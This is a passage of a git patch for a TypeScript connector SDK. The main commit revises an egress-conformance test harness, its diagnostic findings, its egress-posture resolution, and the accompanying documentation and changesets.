{ result: 'success' }, + 'direct-scenario': { result }, + }, + succeeds: false, + })), + ]; + + for (const { needs, succeeds } of cases) { + const label = JSON.stringify(needs); + const run = runVerifyGate(script, needs); + + assert.equal(run.error, undefined, label); + if (succeeds) { + assert.equal(run.status, 0, label); + } else { + assert.ok(run.status > 0, label); + } + assert.deepEqual( + run.stdout.split('\n').filter((line) => line !== ''), + resultListing(needs), + label, + ); + } +}); From 7fec4af343cf50e583a0b8edffe2082715321469 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 16 Sep 2026 16:20:14 +0400 Subject: [PATCH 163/169] fix(breakwater): correct the conformance diagnostics and egress posture Connector posture resolves in one module-private function, resolveEgressPosture(). connectorEgressPosture() calls it, and createConnector() calls it once for both the refusal policies.requireEgressEnforcement raises and the egressEnforcement value its audit detail carries. The conformance harness guards runs through the module-scoped activeRun and poisonedByCase pair. recordRun() collects a run's findings, and closeRun() takes the copy the report carries and stops later recording. A record that arrives after its phase ends reaches that phase's late handler, which reports it at run level and, for a case phase, sets observedAfterCase to the settled case's name. Where the replacement found at an instrumented entry point is itself an accessor, the INSTRUMENTATION_REPLACED reason says calls made after the replacement were not checked. errorMessage describes a thrown function by its type; a thrown string, number, boolean or symbol still renders as its string form. errorConstructorName reports constructor.name in the CASE_INVOCATION_FAILED reason for an identifier of at most 64 characters and unknown otherwise. The POLICIES_NOT_WIRED audit reason for a failed invocation is pinned in the node suite; ConnectorConformanceFinding.observedAfterCase is pinned in the node and the workerd suite. A node-project file, egress-conformance.timeout.test.ts, holds the timeout and isolate-poisoning cases. CONFORMANCE_LIMIT points at the "Conformance limits" section of the CONNECTORS.md that ships with the package, where the channels a run observes and the channels it does not are described. Its three mirrors, in CONNECTORS.md, docs/connector-interface.md and .changeset/connector-conformance-harness.md, carry that text byte for byte, and the heading and its anchor are unchanged. CONNECTORS.md states the outcome-eligibility rule in one paragraph and refers to it elsewhere. The six showcase workflow manifests declare egressEnforcement from their own transport: enforced where execute() issues no HTTP request or reaches an R2 artifact store or the Cloudflare Email Service binding, declaration-only where a host-supplied EgressBinding.fetch carries the traffic. packages/showcase/worker/worker.fetch.e2e.test.ts holds a copy of packages/agent-starter/test/sqlite.ts, byte for byte from interface SqliteStatement to the end of sqliteUnitDatabase, and two tests over that copy's result shapes. Twenty type declarations move from four breakwater barrels into type-only contract modules (rbac/actor.ts, policy-engine/evaluator-contract.ts, agent-cli/exec-contract.ts, connector-sdk/contracts.ts); each barrel re-exports them under the same names. The no-new-architecture-cycles rule's from.path gains packages/breakwater/src, and the cruise reports no violations. packages/breakwater/vitest.config.ts no longer sets passWithNoTests. Co-Authored-By: Claude Fable 5.1 --- ...ormance-foreign-values-and-late-escapes.md | 26 +- ...ater-conformance-late-escape-case-field.md | 10 + .../breakwater-conformance-limit-pointer.md | 5 +- .changeset/connector-conformance-harness.md | 17 +- .changeset/connector-egress-posture.md | 17 +- .dependency-cruiser.cjs | 2 +- docs/connector-interface.md | 10 +- packages/agent-starter/README.md | 9 +- packages/breakwater/CONNECTORS.md | 114 +-- packages/breakwater/README.md | 15 +- .../scripts/packed-consumer-test.mjs | 33 +- .../src/agent-cli/agent-cli.test.ts | 40 +- .../breakwater/src/agent-cli/default-exec.ts | 2 +- .../breakwater/src/agent-cli/exec-contract.ts | 22 + packages/breakwater/src/agent-cli/index.ts | 36 +- packages/breakwater/src/audit/index.ts | 2 +- packages/breakwater/src/connector-decision.ts | 16 +- .../src/connector-sdk/connector-sdk.test.ts | 132 ++- .../breakwater/src/connector-sdk/contracts.ts | 273 ++++++ .../src/connector-sdk/d1-idempotency-store.ts | 12 +- .../src/connector-sdk/d1-rate-limit-store.ts | 2 +- .../connector-sdk/egress-conformance.test.ts | 749 +++++++++++----- .../egress-conformance.timeout.test.ts | 260 ++++++ .../src/connector-sdk/egress-conformance.ts | 813 ++++++++++++------ .../connector-sdk/idempotency-migration.ts | 2 +- .../breakwater/src/connector-sdk/index.ts | 307 ++----- .../single-tenant-preset.test.ts | 16 + .../src/connector-sdk/single-tenant-preset.ts | 83 +- .../src/policy-engine/content-inspection.ts | 6 +- .../src/policy-engine/evaluator-contract.ts | 83 ++ .../breakwater/src/policy-engine/index.ts | 83 +- packages/breakwater/src/rbac/actor.ts | 25 + packages/breakwater/src/rbac/authorize.ts | 2 +- packages/breakwater/src/rbac/index.ts | 35 +- packages/breakwater/vitest.config.ts | 1 - .../egress-conformance.workers.test.ts | 92 +- .../showcase/worker/worker.fetch.e2e.test.ts | 83 +- .../worker/workflows/access-request.ts | 8 +- .../worker/workflows/content-pipeline.ts | 3 + .../showcase/worker/workflows/gtm-outbound.ts | 8 +- .../worker/workflows/lead-generation.ts | 4 + .../worker/workflows/product-launch.ts | 4 + .../worker/workflows/wire-transfer.ts | 8 +- 43 files changed, 2374 insertions(+), 1096 deletions(-) create mode 100644 .changeset/breakwater-conformance-late-escape-case-field.md create mode 100644 packages/breakwater/src/agent-cli/exec-contract.ts create mode 100644 packages/breakwater/src/connector-sdk/contracts.ts create mode 100644 packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts create mode 100644 packages/breakwater/src/policy-engine/evaluator-contract.ts create mode 100644 packages/breakwater/src/rbac/actor.ts diff --git a/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md b/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md index c48e7eb5..306ab7a9 100644 --- a/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md +++ b/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md @@ -7,9 +7,22 @@ The harness classified a thrown value with four separate `instanceof` reads; a v `getPrototypeOf` is a trap made the classification itself throw, so the run rejected with the trap's error and produced no report. One `classifyInvocationError` call now answers `boundary`, `policy`, `refusal` or `foreign` once, and a value it cannot read is `foreign`: the report carries the named -`CASE_INVOCATION_FAILED` finding the contract requires. `invokeConnector` guards the three reads it -makes of the connector's own thrown value, so that value reaches the harness intact and the execute -error is still audited. +`CASE_INVOCATION_FAILED` finding the contract requires. `createConnector` guards every read it makes +of the connector's own thrown value — seven guards over eight reads, and none of them in +`invokeConnector` — so that value reaches the harness intact and the execute error is still audited. + +Say what each diagnostic observed, and no more. A refusal on the supplied base transport reports the +host the registered egress declaration does not cover, instead of asserting a bypass of +`runtime.fetch` that did not happen — the connector used the transport the harness gave it. A +`POLICIES_NOT_WIRED` `audit` finding for a case whose invocation failed says the invocation ended +before a witness could be recorded, instead of asserting the subject reached its gate boundary. An +`INSTRUMENTATION_REPLACED` finding for a replacement that is itself an accessor says the harness did +not check whether later calls reached the trap, instead of leaving a silence that read as though it +had. `SUBJECT_UNREGISTERED` names this copy of `createConnector()`, which is what a connector from a +second copy of the package fails against. A thrown function is described as `a function` rather than +by its source text. An escape whose address cannot be parsed — including one the URL global's +disappearance makes unparseable — is recorded with a null host instead of raising inside the +connector's own call. Record an escape observed after its case settled. A connector that keeps the supplied base transport or a trap reference alive past its case used to append to the case result's `escapes` array with no @@ -19,7 +32,8 @@ become findings; a later observation is a run-level `NETWORK_IO_OUTSIDE_RUNTIME_ reason names the settled case and carries no `case`. The report snapshots `findings` and `cases` and computes `conformant` from the snapshot, and an escape observed after that is dropped. -`CONFORMANCE_LIMIT` points at the channel list that says so: +`CONFORMANCE_LIMIT` points at [Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits) -in the connector authoring guide states what a settled case's retained transport or trap reaches, -what a read of the restored global after the run closes bypasses, and what a timed-out case's abandoned work does not. +in the connector authoring guide, which states what a settled case's retained transport or trap +reaches, what a read of the restored global after the run closes bypasses, and what a timed-out +case's abandoned work never reaches. diff --git a/.changeset/breakwater-conformance-late-escape-case-field.md b/.changeset/breakwater-conformance-late-escape-case-field.md new file mode 100644 index 00000000..04c11c6b --- /dev/null +++ b/.changeset/breakwater-conformance-late-escape-case-field.md @@ -0,0 +1,10 @@ +--- +'@proofoftech/breakwater': patch +--- + +Name the settled case on a late conformance finding as a field, not only in prose. +`ConnectorConformanceFinding` gains an optional `observedAfterCase`, which carries the name of the +case whose abandoned work produced a run-level finding — an escape or a finding that arrived after +that case settled. Such a finding still carries no `case`, because the case's own result is already +on the report, and its `reason` is unchanged, so a host that reads the sentence keeps reading it. A +finding the probe phase produces carries no `observedAfterCase`: no case had settled. diff --git a/.changeset/breakwater-conformance-limit-pointer.md b/.changeset/breakwater-conformance-limit-pointer.md index 8c6e13e6..1abfa431 100644 --- a/.changeset/breakwater-conformance-limit-pointer.md +++ b/.changeset/breakwater-conformance-limit-pointer.md @@ -6,7 +6,8 @@ Point the connector conformance report's `limit` at the documented channel list. paragraph naming the channels a run does not observe; it is now one sentence naming the permanent URL of [Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits), -a section of the connector authoring guide that ships with the package and states each channel and -what a run records for it. A host that displays or stores `report.limit` sees the shorter text. +a section of the connector authoring guide that ships with the package and describes channels a run +observes and channels it does not. A host that displays or stores `report.limit` sees the shorter +text, and a host that asserts on its content asserts on the new sentence. `CONFORMANCE_LIMIT` is not exported from the package entry points, so consumers read it only as `report.limit`. Nothing about what the harness traps, records, snapshots or drops changes. diff --git a/.changeset/connector-conformance-harness.md b/.changeset/connector-conformance-harness.md index f5461d5d..75e4a635 100644 --- a/.changeset/connector-conformance-harness.md +++ b/.changeset/connector-conformance-harness.md @@ -10,9 +10,11 @@ a trap that records the attempt and refuses. A case that reaches one fails with base transport refuses any host the registered manifest does not declare, so calling it around the guard fails the same way. -On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. A redefinition or deletion that the case itself reverses before it settles, like a reference to `fetch` captured before the run, is outside what the harness observes. It reports the requests that pass through its trap. A detected redefinition makes the case prove `nothing` and skip expectation checks. An assignment attempt or detected redefinition during probe construction refuses the run. +On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition or assignment still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. A redefinition or deletion the case itself reverses before it settles is one of the channels listed under [Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits). When verification fails, the case is ineligible for the outcome check and proves `nothing`. An `INSTRUMENTATION_UNSUPPORTED` or `INSTRUMENTATION_REPLACED` finding during probe construction refuses the run. -`CASE_INVOCATION_FAILED`: Invocation failed before or during invocation; the reason names the error's constructor, uses `unknown` when that name is unavailable or unreadable, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications. +A case reports `CASE_INVOCATION_FAILED` when invocation setup fails or the invocation itself fails; the reason names the error's constructor, uses `unknown` when that name is unavailable, unreadable, or not a plain identifier of at most 64 characters, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications, and a setup failure carrying a harness refusal is reported as the escape behind it rather than as an invocation failure. + +The harness requires `TextEncoder` with its other host globals before a run starts, reports an entry point replaced before an install failure unwinds it, and names the phase — a settled case, or the probe factory — when an attempt or a finding arrives after it. Instrumentation is restored after the case settles, after a throw, after a partial install, and after a per-case timeout; a restoration that cannot be proved fails the run and ends it, rather than @@ -27,7 +29,7 @@ case runs, and the case is when a case's own work makes the global uninstrumenta way the finding names the descriptor shape it found, and a failure at any entry point restores the whole rollback stack: a (d) install or (e) verification failure includes the failing entry point; an (a) validation or descriptor-read failure precedes capture and push, so the stack holds only the -entry points attempted before it (C8-2). A restore the target silently ignores +entry points attempted before it. A restore the target silently ignores is reported as a failed restoration. Two entry points naming one property is refused before any case runs, and so are two cases sharing a name, two entry points sharing a label, and an overlapping or nested run. A factory that throws is reported as a @@ -43,11 +45,14 @@ with no cases raises one finding, not both. A case whose expectations depend on did not wire is reported as a wiring failure naming the member, alongside the escape record, which is kept. Every report states the finite-case limit: -> conformance covers only the supplied cases, in this isolate, for the duration of each case; the channels it does not observe are listed at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits +> conformance covers only the supplied cases, in this isolate, for the duration of each case; channels a run observes, and channels it does not, are described under Conformance limits in the CONNECTORS.md that ships with this package, at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits The harness itself uses no Node built-ins, no `vm`, and no filesystem, and runs on workerd. The barrel it ships from imports `@mastra/core/tools`, whose bundled chunks statically import Node built-ins under unprefixed specifiers, so a Worker importing the barrel needs Node.js compatibility enabled — the `nodejs_compat` compatibility flag, or a `compatibility_date` recent enough that your -Workers runtime turns it on by default. Check your runtime's compatibility-date documentation; in the -Wrangler/miniflare this package develops against, the default-on date is 2026-08-04. +Workers runtime turns it on by default; check your runtime's compatibility-date documentation for +that date. The flag is a necessary condition, not a sufficient one: the workerd build behind the +runtime also has to load the barrel. Loading it crashed `workerd@1.20260730.1` during module +resolution in this package's own workerd test pool, and `workerd@1.20260903.1` loads it, which is +the build this repository pins through a pnpm override on `miniflare@5.20260730.0-alpha`. diff --git a/.changeset/connector-egress-posture.md b/.changeset/connector-egress-posture.md index f9da30a4..6cfbfac6 100644 --- a/.changeset/connector-egress-posture.md +++ b/.changeset/connector-egress-posture.md @@ -10,12 +10,19 @@ service bindings), which the guard never sees, so a connector that issues no HTT `'enforced'`. An omitted field resolves to `'declaration-only'`. `connectorEgressPosture(tool)` reads the resolved posture beside `connectorManifest(tool)`, and every -connector audit event carries it as `detail.egressEnforcement`, so an operator can answer which -connectors have real egress enforcement from the log. +connector audit event carries it as `detail.egressEnforcement`, so an operator can answer from the +log which connectors declare enforcement. The logged value is the author's declaration resolved +against the omitted-field default, not an observation of the connector's traffic. `policies.requireEgressEnforcement` refuses, at construction, a connector whose posture is not `'enforced'`; the single-tenant preset accepts and pins the same flag. Construction also rejects an `egressEnforcement` value outside the two literals. The Agent CLI adapters declare -`'declaration-only'`, matching their documented child-process boundary — so a deployment that sets -`policies.requireEgressEnforcement` cannot register an Agent CLI adapter, by design. Put the child -behind an infrastructure boundary, or leave the flag off for that deployment. +`'declaration-only'`, matching their documented child-process boundary — so a `createConnector()` +call whose `policies` set `requireEgressEnforcement` cannot register an Agent CLI adapter, by +design. Put the child behind a host network boundary, and pass that flag on the calls whose +connectors declare `'enforced'`. + +Migration: `connectorManifest(tool)` returns `egressEnforcement` for every connector built by an +Agent CLI factory, which the adapters declare as `'declaration-only'`. An assertion comparing a +returned manifest for exact equality with a literal fails until that key is added to the expected +object. diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 35aec5fc..2fd00d3d 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -181,7 +181,7 @@ module.exports = { name: 'no-new-architecture-cycles', severity: 'error', from: { - path: '^(?:packages/flowsafe/src|packages/fleet-control/src|packages/agent-starter/(?:src|test|scripts)|scripts/architecture-fixtures)/', + path: '^(?:packages/flowsafe/src|packages/fleet-control/src|packages/breakwater/src|packages/agent-starter/(?:src|test|scripts)|scripts/architecture-fixtures)/', }, to: { circular: true, diff --git a/docs/connector-interface.md b/docs/connector-interface.md index 7a419bd2..f1599c95 100644 --- a/docs/connector-interface.md +++ b/docs/connector-interface.md @@ -131,7 +131,7 @@ Declare redirect and regional hosts. Actual redirect hops must also remain withi ### `egressEnforcement` -`enforced` asserts that every HTTP request leaves through `ConnectorRuntime.fetch`, including a connector that issues no HTTP requests. This declaration concerns HTTP traffic; it excludes platform bindings such as D1, KV, R2, and service bindings, which the guard never sees. `declaration-only` states that a vendor SDK or child process uses its own transport: organization policy checks the declared hosts, but the guard cannot check its sockets. +`enforced` asserts that every HTTP request leaves through `ConnectorRuntime.fetch`. A connector that issues no HTTP request at all is covered by that assertion. This declaration concerns HTTP traffic; it excludes platform bindings such as D1, KV, R2, and service bindings, which the guard never sees. `declaration-only` states that a vendor SDK or child process uses its own transport: organization policy checks the declared hosts, but the guard cannot check its sockets. An omitted field resolves to `declaration-only`, because enforcement has not been established. `connectorEgressPosture(tool)` reads the resolved value and returns `undefined` for a tool that `createConnector()` did not build. The manifest itself retains the author's declaration without inserting a default, and connector audit events record the resolved value as `detail.egressEnforcement`. @@ -601,14 +601,14 @@ For Agent CLIs, also read [Agent CLI connectors](agent-cli-connectors.md). Use `assertConnectorConformance(factory, { manifest, cases, entryPoints? })` from the root or connector SDK export to certify supplied cases for an enforced connector. The synchronous factory must wire both supplied policy members, `fetch` and `audit`. The [connector authoring guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#assert-connector-conformance) explains the expectations, preset wiring, instrumentation refusals, and timeout handling. -A conformant run returns a `ConnectorConformanceReport`; otherwise `ConnectorConformanceError.report` contains it. The report exposes `conformant`, the resolved `posture` when available, `instrumented` labels, per-case evidence, a flat `findings` list, and `limit`. Case results expose their name, `proved` outcome, observed `guardedHosts`, refused `escapes`, positional `decisionCodes`, `transportCalls`, `auditEvents`, and their view of the findings. A finding has a code, reason, optional case name, and an optional policy member for wiring failures. +A conformant run returns a `ConnectorConformanceReport`; otherwise `ConnectorConformanceError.report` contains it. The report exposes `conformant`, the resolved `posture` when available, `instrumented` labels, per-case evidence, a flat `findings` list, and `limit`. Case results expose their name, `proved` outcome, observed `guardedHosts`, refused `escapes`, positional `decisionCodes`, `transportCalls`, `auditEvents`, and their view of the findings. A finding has a code, reason, optional case name, an optional policy member for wiring failures, and an optional `observedAfterCase` naming the settled case whose abandoned work produced a run-level finding. -On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. The channels the harness does not observe, a reference captured before installation and a redefinition the case reverses before it settles among them, are listed under [Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits). The harness reports the requests that pass through its trap. A detected redefinition makes the case prove `nothing` and skip expectation checks. An assignment attempt or detected redefinition during probe construction refuses the run. +On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition or assignment still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. A redefinition or deletion the case itself reverses before it settles is one of the channels listed under [Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits). When verification fails, the case is ineligible for the outcome check and proves `nothing`. An `INSTRUMENTATION_UNSUPPORTED` or `INSTRUMENTATION_REPLACED` finding during probe construction refuses the run. | Finding | Meaning | | --- | --- | -| `CASE_INVOCATION_FAILED` | Invocation failed before or during invocation; the reason names the error's constructor, uses `unknown` when that name is unavailable or unreadable, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications. | +| `CASE_INVOCATION_FAILED` | Invocation failed before or during invocation; the reason names the error's constructor, uses `unknown` when that name is unavailable, unreadable, or not a plain identifier of at most 64 characters, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications. | The report states this finite-case limit: -> conformance covers only the supplied cases, in this isolate, for the duration of each case; the channels it does not observe are listed at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits +> conformance covers only the supplied cases, in this isolate, for the duration of each case; channels a run observes, and channels it does not, are described under Conformance limits in the CONNECTORS.md that ships with this package, at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits diff --git a/packages/agent-starter/README.md b/packages/agent-starter/README.md index 6a407643..be7757fb 100644 --- a/packages/agent-starter/README.md +++ b/packages/agent-starter/README.md @@ -343,10 +343,11 @@ The object persists the next alarm before each duty and runs one due duty per in 1. Replace `createStarterAgentModule()` instructions, tools, metadata, and allowed roles. 2. Keep every external side effect behind `createConnector()`. 3. Add each connector's real egress hosts to its permission manifest and use the guarded `fetch`. -4. Add workflow metadata and committed workflows together; registration fails fast if they drift. -5. Add provider adapters to both the webhook map and provider-host list, then add their ids to the subscription allowlist. -6. Replace console audit sinks with your Queue or SIEM transport. -7. Add a durable run-cap implementation before exposing unattended execution commercially. +4. Re-decide `permissions.egressEnforcement` for every connector you derive. The starter's connector declares `'enforced'` because it issues no HTTP request: it writes through a D1 binding, which the declaration does not cover. A derived connector that reaches the network through a vendor SDK or a child process carrying its own transport declares `'declaration-only'` instead. `connectorEgressPosture(tool)` reads back what a connector resolved to, and connector audit events carry it as `detail.egressEnforcement`. +5. Add workflow metadata and committed workflows together; registration fails fast if they drift. +6. Add provider adapters to both the webhook map and provider-host list, then add their ids to the subscription allowlist. +7. Replace console audit sinks with your Queue or SIEM transport. +8. Add a durable run-cap implementation before exposing unattended execution commercially. Every Anchorage import in `src/` uses a documented package export. `check:imports` rejects source or distribution deep imports and relative reaches into sibling packages. diff --git a/packages/breakwater/CONNECTORS.md b/packages/breakwater/CONNECTORS.md index 11f55364..725ddc88 100644 --- a/packages/breakwater/CONNECTORS.md +++ b/packages/breakwater/CONNECTORS.md @@ -202,7 +202,7 @@ contain `_background`. | `rateLimitStore` | Atomic fixed-window counters | `permissions.rateLimit` is present. | | `audit` | Structured decision sink | Optional but recommended for every production deployment. | | `fetch` | Base fetch wrapped by `runtime.fetch` | Optional. Inject vendor mocks in tests or a platform fetch in nonstandard runtimes. | -| `requireEgressEnforcement` | Refuse a connector whose posture is not `enforced` | Optional. Set it where the guarded fetch is the only network boundary. | +| `requireEgressEnforcement` | Refuse a connector whose posture is not `enforced` | Optional. Pass it on a call whose connector must not rely on a boundary outside `runtime.fetch`. | The included tool evaluators are: @@ -342,9 +342,8 @@ const rateLimitStore = new D1RateLimitStore(env.DB, { `pendingTtlMs` must exceed the longest real execution. A takeover that fires while the original holder is still running can duplicate a write. The default is 900,000 ms. The Agent CLI wrapper checks this against its own timeout when -both idempotency and a store exposing `pendingTtlMs` are configured. -The constructor accepts only positive safe integers up to -8,640,000,000,000,000 ms. +both idempotency and a store exposing `pendingTtlMs` are configured. The +constructor accepts only positive safe integers up to 8,640,000,000,000,000 ms. `D1IdempotencyStoreOptions.now` is a clock override for deterministic tests; production should use the default clock. @@ -478,9 +477,9 @@ redirect failure. The guard cannot see global `fetch`, a vendor SDK with its own transport, a raw socket, or child-process traffic. Pass `runtime.fetch` into SDKs that support a custom fetch or transport. Use a container, VM, or network policy when traffic -outside this seam must also be denied. -Declare `egressEnforcement: 'declaration-only'` when traffic bypasses the -guard; the posture makes that degradation explicit and auditable. +outside this seam must also be denied. Declare +`egressEnforcement: 'declaration-only'` when traffic bypasses the guard; the +posture makes that degradation explicit and auditable. ## Handle errors and audit safely @@ -614,10 +613,11 @@ safe. The child does not use `ConnectorRuntime.fetch`. Its provider egress list is therefore enforced as a declaration against the organization policy, not as socket-level interception. Apply host network controls for actual child -traffic. The adapter declares `egressEnforcement: 'declaration-only'`. -A deployment that sets `policies.requireEgressEnforcement` cannot register an -Agent CLI adapter: construction throws a `TypeError`. Put the child behind an -infrastructure boundary, or leave the flag off for that deployment. +traffic. The adapter declares `egressEnforcement: 'declaration-only'`. A +`createConnector()` call whose `policies` set `requireEgressEnforcement` +therefore cannot register an Agent CLI adapter: construction throws a +`TypeError`. Pass that flag on the calls whose connectors declare `'enforced'`, +and put the child behind a host network boundary. ### Know the CLI data boundary @@ -711,9 +711,9 @@ and ### Assert connector conformance -Run `assertConnectorConformance(factory, { manifest, cases, entryPoints? })` in your connector's test suite. It certifies the supplied cases for a connector declaring `egressEnforcement: 'enforced'`. A non-conformant run throws `ConnectorConformanceError`; its `.report` contains the evidence and findings. +Run `assertConnectorConformance(factory, { manifest, cases, entryPoints? })` in your connector's test suite. It certifies the supplied cases for a connector declaring `egressEnforcement: 'enforced'`. A non-conformant run rejects with `ConnectorConformanceError`; its `.report` contains the evidence and findings. -Supply a synchronous factory that constructs a fresh connector using both members of `runtime.policies`: the inert `fetch` transport and the harness's `audit` logger. For example: +Supply a synchronous factory that constructs a fresh connector using both members of `conformance.policies`: the inert `fetch` transport and the harness's `audit` logger. A factory that instead closes over a fixed `policies` value — as the starter's `createRecordActionConnector(db)` does — cannot be certified as it stands: the harness's logger records no witness for the case, which the report names `POLICIES_NOT_WIRED`. Give such a connector a construction seam that accepts supplied policies first. For example: ```typescript import { @@ -727,19 +727,23 @@ const manifest = { egress: ['api.vendor.example'], egressEnforcement: 'enforced', } as const; -const factory: ConnectorConformanceFactory = - (runtime) => createConnector({ - id: 'vendor.read', - description: 'Read a vendor record', - permissions: manifest, - policies: runtime.policies, - execute: async (_input, _context, { fetch }) => { - const response = await fetch('https://api.vendor.example'); - return { ok: response.ok }; - }, -}); +const factory: ConnectorConformanceFactory = ( + conformance, +) => + createConnector({ + id: 'vendor.read', + description: 'Read a vendor record', + permissions: manifest, + policies: conformance.policies, + execute: async (_input, _context, { fetch }) => { + const response = await fetch('https://api.vendor.example'); + return { ok: response.ok }; + }, + }); ``` +A run calls that factory once before any case and once for each case. The first call builds the **probe**: the connector the harness reads the registered manifest and posture from, and whose own instrumentation it verifies before a case runs. The probe's connector answers no case and is discarded; every case gets its own connector, its own transport and its own logger. Make the factory cheap and repeatable — it runs `1 + cases.length` times — and give it no state a second call would find already spent. + Name the case and the outcome it must demonstrate: ```typescript @@ -756,14 +760,16 @@ const report = await assertConnectorConformance(factory, { }); ``` +The `manifest` you pass is your claim about the connector, which the harness compares against the manifest the connector registered. The example above passes the object the factory itself declared, so that comparison is an object against itself and establishes nothing. Write the claim independently — a literal in the test file, or a fixture the connector module does not import — and `MANIFEST_MISMATCH` then reports a declaration that has drifted from what you expect to ship. + When using `singleTenantConnectorPolicies`, pass the supplied members into the preset. Spreading them around an already validated preset fails its tamper checks. Replace the factory's `policies` value with: ```typescript singleTenantConnectorPolicies({ - audit: { mode: 'production', logger: runtime.policies.audit }, + audit: { mode: 'production', logger: conformance.policies.audit }, egress: { allowedDomains: ['api.vendor.example'] }, permissions: { principalPermissions: 'not-configured' }, - fetch: runtime.policies.fetch, + fetch: conformance.policies.fetch, }) ``` @@ -771,18 +777,18 @@ Import `singleTenantConnectorPolicies` from the connector SDK. Use the productio Read failures using the report's finding codes: -- `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`: a trapped entry point received a request, or the supplied base transport received an undeclared host. The attempt is recorded before refusal, including when the connector catches it. An attempt observed after its case has settled carries no `case` name: the reason names the case whose transport or trap it reached, and the finding is recorded at run level until the report is built and dropped after. -- `MANIFEST_MISMATCH`: the registered manifest differs from your claim, or the case's subject differs from the probe. +- `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`: a trapped entry point received a request, or the supplied base transport refused one — an unparseable address, no bound egress declaration, or a host the registered declaration does not cover. The attempt is recorded before refusal, including when the connector catches it. The reason names the channel it reached: an entry point reached outside `runtime.fetch`, or a host the registered egress declaration does not cover reached through `policies.fetch`, the supplied base transport. An attempt observed after its case has settled produces a run-level finding: it carries no `case` name, and `observedAfterCase` and the reason name the case whose transport or trap the attempt reached. After the report is built the attempt is dropped. Attribution follows the instrument, not the work: an attempt that abandoned work makes by reading an entry point afresh after its own case settled reaches whichever trap is installed when it lands, and is attributed to that trap's case. +- `MANIFEST_MISMATCH`: the registered manifest differs from your claim, or the case's subject differs from the probe. The comparison reads `egress` and `requiredPermissions` positionally, so two lists with the same hosts in a different order differ. - `POSTURE_NOT_ENFORCED`: the connector declares a declaration-only posture, or its posture changes between the probe and a case. - `SUBJECT_UNREGISTERED`: the factory returned an unregistered value, such as `undefined`, `null`, a plain Mastra tool, or a connector from a second copy of Breakwater. - `CASE_EXPECTATION_UNMET`: the observed outcome, hosts, or decision code did not match the case, or the invocation never reached the connector's gate boundary. -- `CASE_INVOCATION_FAILED`: Invocation failed before or during invocation; the reason names the error's constructor, uses `unknown` when that name is unavailable or unreadable, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications. +- `CASE_INVOCATION_FAILED`: invocation failed before or during invocation; the reason names the error's constructor, uses `unknown` when that name is unavailable, unreadable, or not a plain identifier of at most 64 characters, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications. A connector that rejects by design is outside what a case can express: put such a rejection in an ordinary connector test, not in a conformance case. - `CASE_TIMEOUT`: the invocation exceeded its per-case bound. The run ends and names any skipped cases. - `NO_TRANSPORT_EVIDENCE`: the connector declares egress, but no case called the harness's transport. -- `POLICIES_NOT_WIRED`: the report names `fetch`, `audit`, or `both`. A `fetch` finding cannot distinguish a factory that omitted `policies.fetch` from a connector calling ambient fetch directly for a declared host. Both leave an escape and zero harness transport calls. Read the escape record beside the finding for the authoritative request evidence. An `audit` finding means the subject reached its gate boundary without recording a witness on the supplied logger. -- `FACTORY_FAILED`: construction threw. For an `Error` with a string message, the reason is that message. An unreadable error becomes `unreadable error`; a non-Error object becomes `a non-Error object` or `null`. Other thrown values use their string representation. +- 